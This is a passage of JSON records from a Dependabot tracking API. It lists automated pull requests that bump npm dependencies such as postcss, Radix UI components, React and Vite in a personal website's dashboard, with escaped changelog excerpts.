Fix CI on Windows too\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/00d0dd2322162f6083d507ea6954685e1c92f165\"\u003e\u003ccode\u003e00d0dd2\u003c/code\u003e\u003c/a\u003e Keep explicitly set raws.before when inserting nodes into root (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2111\"\u003e#2111\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/7a05b33e7a15d6f80d90098784170ad3dca39180\"\u003e\u003ccode\u003e7a05b33\u003c/code\u003e\u003c/a\u003e Temporary fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/4c0d194c136fd374495d0993c890d794cab65b81\"\u003e\u003ccode\u003e4c0d194\u003c/code\u003e\u003c/a\u003e Release 8.5.18 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/92b4e7891ec7b811821d01acc8aa0f010caf41e2\"\u003e\u003ccode\u003e92b4e78\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/95663d3eb7ba26f4854dd19d3b4f4425760cf56c\"\u003e\u003ccode\u003e95663d3\u003c/code\u003e\u003c/a\u003e Limit where source map can be loaded for security reasons\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/74e25ae9f4efaa56a41a449064a655d7da78072c\"\u003e\u003ccode\u003e74e25ae\u003c/code\u003e\u003c/a\u003e Release 8.5.17 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d1518afd5a88f42728b30b87f8917210f363f9f1\"\u003e\u003ccode\u003ed1518af\u003c/code\u003e\u003c/a\u003e Fix Maximum call stack size exceeded error\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2421312ffea96ba77b35ce24a1b2d9c2e22b5e83\"\u003e\u003ccode\u003e2421312\u003c/code\u003e\u003c/a\u003e Fix linter\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.16...8.5.19\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=postcss\u0026package-manager=npm_and_yarn\u0026previous-version=8.5.16\u0026new-version=8.5.19)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/AdrianJunge/adrianjunge.de/pull/82","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/AdrianJunge%2Fadrianjunge.de/issues/82","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/82/packages"}],"issue_packages":[{"old_version":"8.5.19","new_version":"8.5.21","update_type":"patch","path":"/dashboard","pr_created_at":"2026-07-21T16:32:40.000Z","version_change":"8.5.19 → 8.5.21","issue":{"uuid":"4941022080","node_id":"PR_kwDOQ30nx870dm0Q","number":401,"state":"open","title":"build(deps): bump the dashboard-deps group in /dashboard with 32 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-21T16:32:40.000Z","updated_at":"2026-07-21T16:35:41.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"build(deps): bump","group_name":"dashboard-deps","update_count":32,"packages":[{"name":"@radix-ui/react-accordion","old_version":"1.2.16","new_version":"1.2.17","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-alert-dialog","old_version":"1.1.19","new_version":"1.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-avatar","old_version":"1.2.2","new_version":"1.2.3","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-checkbox","old_version":"1.3.7","new_version":"1.3.8","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-collapsible","old_version":"1.1.16","new_version":"1.1.17","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-dialog","old_version":"1.1.19","new_version":"1.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-dropdown-menu","old_version":"2.1.20","new_version":"2.1.21","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-label","old_version":"2.1.11","new_version":"2.1.12","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-popover","old_version":"1.1.19","new_version":"1.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-progress","old_version":"1.1.12","new_version":"1.1.13","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-scroll-area","old_version":"1.2.14","new_version":"1.2.15","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-select","old_version":"2.3.3","new_version":"2.3.4","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-separator","old_version":"1.1.11","new_version":"1.1.12","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-switch","old_version":"1.3.3","new_version":"1.3.4","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-tabs","old_version":"1.1.17","new_version":"1.1.18","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-toggle","old_version":"1.1.14","new_version":"1.1.15","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-tooltip","old_version":"1.2.12","new_version":"1.2.13","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@tanstack/react-query","old_version":"5.101.2","new_version":"5.101.4","repository_url":"https://github.com/TanStack/query"},{"name":"@tanstack/react-virtual","old_version":"3.14.6","new_version":"3.14.7","repository_url":"https://github.com/TanStack/virtual"},{"name":"lucide-react","old_version":"1.24.0","new_version":"1.25.0","repository_url":"https://github.com/lucide-icons/lucide"},{"name":"nuqs","old_version":"2.9.0","new_version":"2.9.1","repository_url":"https://github.com/47ng/nuqs"},{"name":"react","old_version":"19.2.7","new_version":"19.2.8","repository_url":"https://github.com/react/react"},{"name":"react-dom","old_version":"19.2.7","new_version":"19.2.8","repository_url":"https://github.com/react/react"},{"name":"react-hook-form","old_version":"7.81.0","new_version":"7.82.0","repository_url":"https://github.com/react-hook-form/react-hook-form"},{"name":"@tailwindcss/vite","old_version":"4.3.2","new_version":"4.3.3","repository_url":"https://github.com/tailwindlabs/tailwindcss"},{"name":"@typescript-eslint/parser","old_version":"8.64.0","new_version":"8.65.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"autoprefixer","old_version":"10.5.2","new_version":"10.5.4","repository_url":"https://github.com/postcss/autoprefixer"},{"name":"knip","old_version":"6.26.0","new_version":"6.27.0","repository_url":"https://github.com/webpro-nl/knip"},{"name":"postcss","old_version":"8.5.19","new_version":"8.5.21","repository_url":"https://github.com/postcss/postcss"},{"name":"prettier","old_version":"3.9.5","new_version":"3.9.6","repository_url":"https://github.com/prettier/prettier"},{"name":"tailwindcss","old_version":"4.3.2","new_version":"4.3.3","repository_url":"https://github.com/tailwindlabs/tailwindcss"},{"name":"vite","old_version":"8.1.4","new_version":"8.1.5","repository_url":"https://github.com/vitejs/vite"}],"path":"/dashboard","ecosystem":"npm"},"body":"Bumps the dashboard-deps group in /dashboard with 32 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@radix-ui/react-accordion](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/accordion) | `1.2.16` | `1.2.17` |\n| [@radix-ui/react-alert-dialog](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/alert-dialog) | `1.1.19` | `1.1.20` |\n| [@radix-ui/react-avatar](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/avatar) | `1.2.2` | `1.2.3` |\n| [@radix-ui/react-checkbox](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/checkbox) | `1.3.7` | `1.3.8` |\n| [@radix-ui/react-collapsible](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/collapsible) | `1.1.16` | `1.1.17` |\n| [@radix-ui/react-dialog](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dialog) | `1.1.19` | `1.1.20` |\n| [@radix-ui/react-dropdown-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dropdown-menu) | `2.1.20` | `2.1.21` |\n| [@radix-ui/react-label](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/label) | `2.1.11` | `2.1.12` |\n| [@radix-ui/react-popover](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/popover) | `1.1.19` | `1.1.20` |\n| [@radix-ui/react-progress](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/progress) | `1.1.12` | `1.1.13` |\n| [@radix-ui/react-scroll-area](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/scroll-area) | `1.2.14` | `1.2.15` |\n| [@radix-ui/react-select](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/select) | `2.3.3` | `2.3.4` |\n| [@radix-ui/react-separator](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/separator) | `1.1.11` | `1.1.12` |\n| [@radix-ui/react-switch](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/switch) | `1.3.3` | `1.3.4` |\n| [@radix-ui/react-tabs](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tabs) | `1.1.17` | `1.1.18` |\n| [@radix-ui/react-toggle](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/toggle) | `1.1.14` | `1.1.15` |\n| [@radix-ui/react-tooltip](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tooltip) | `1.2.12` | `1.2.13` |\n| [@tanstack/react-query](https://github.com/TanStack/query/tree/HEAD/packages/react-query) | `5.101.2` | `5.101.4` |\n| [@tanstack/react-virtual](https://github.com/TanStack/virtual/tree/HEAD/packages/react-virtual) | `3.14.6` | `3.14.7` |\n| [lucide-react](https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react) | `1.24.0` | `1.25.0` |\n| [nuqs](https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs) | `2.9.0` | `2.9.1` |\n| [react](https://github.com/react/react/tree/HEAD/packages/react) | `19.2.7` | `19.2.8` |\n| [react-dom](https://github.com/react/react/tree/HEAD/packages/react-dom) | `19.2.7` | `19.2.8` |\n| [react-hook-form](https://github.com/react-hook-form/react-hook-form) | `7.81.0` | `7.82.0` |\n| [@tailwindcss/vite](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-vite) | `4.3.2` | `4.3.3` |\n| [@typescript-eslint/parser](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser) | `8.64.0` | `8.65.0` |\n| [autoprefixer](https://github.com/postcss/autoprefixer) | `10.5.2` | `10.5.4` |\n| [knip](https://github.com/webpro-nl/knip/tree/HEAD/packages/knip) | `6.26.0` | `6.27.0` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.19` | `8.5.21` |\n| [prettier](https://github.com/prettier/prettier) | `3.9.5` | `3.9.6` |\n| [tailwindcss](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss) | `4.3.2` | `4.3.3` |\n| [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) | `8.1.4` | `8.1.5` |\n\nUpdates `@radix-ui/react-accordion` from 1.2.16 to 1.2.17\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/accordion/CHANGELOG.md\"\u003e@​radix-ui/react-accordion's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-collapsible@1.1.17\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/accordion\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-alert-dialog` from 1.1.19 to 1.1.20\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/alert-dialog/CHANGELOG.md\"\u003e@​radix-ui/react-alert-dialog's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dialog@1.1.20\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/alert-dialog\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-avatar` from 1.2.2 to 1.2.3\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/avatar/CHANGELOG.md\"\u003e@​radix-ui/react-avatar's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eFix dev-only checks with conditional exports to drop dev-warnings from production builds.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-is-hydrated@0.1.1\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/avatar\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-checkbox` from 1.3.7 to 1.3.8\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/checkbox/CHANGELOG.md\"\u003e@​radix-ui/react-checkbox's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.3.8\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eFixed a bug where updating a \u003ccode\u003eCheckbox\u003c/code\u003e, \u003ccode\u003eSwitch\u003c/code\u003e, or \u003ccode\u003eRadioGroup\u003c/code\u003e value programmatically (eg. a \u0026quot;select all\u0026quot; control) while inside a \u003ccode\u003e\u0026lt;form\u0026gt;\u003c/code\u003e would dispatch a \u003ccode\u003eclick\u003c/code\u003e event from the hidden bubble input that propagated to ancestor \u003ccode\u003eonClick\u003c/code\u003e handlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-size@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/checkbox\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-collapsible` from 1.1.16 to 1.1.17\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/collapsible/CHANGELOG.md\"\u003e@​radix-ui/react-collapsible's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/collapsible\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-dialog` from 1.1.19 to 1.1.20\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/dialog/CHANGELOG.md\"\u003e@​radix-ui/react-dialog's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed broken ARIA references in Dialogs where a title or description elements are not rendered.\u003c/li\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-guards@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/dialog\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-dropdown-menu` from 2.1.20 to 2.1.21\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/dropdown-menu/CHANGELOG.md\"\u003e@​radix-ui/react-dropdown-menu's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.1.21\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-menu@2.1.21\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/dropdown-menu\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-label` from 2.1.11 to 2.1.12\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/label/CHANGELOG.md\"\u003e@​radix-ui/react-label's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.1.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/label\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-popover` from 1.1.19 to 1.1.20\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/popover/CHANGELOG.md\"\u003e@​radix-ui/react-popover's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-popper@1.3.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-guards@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, 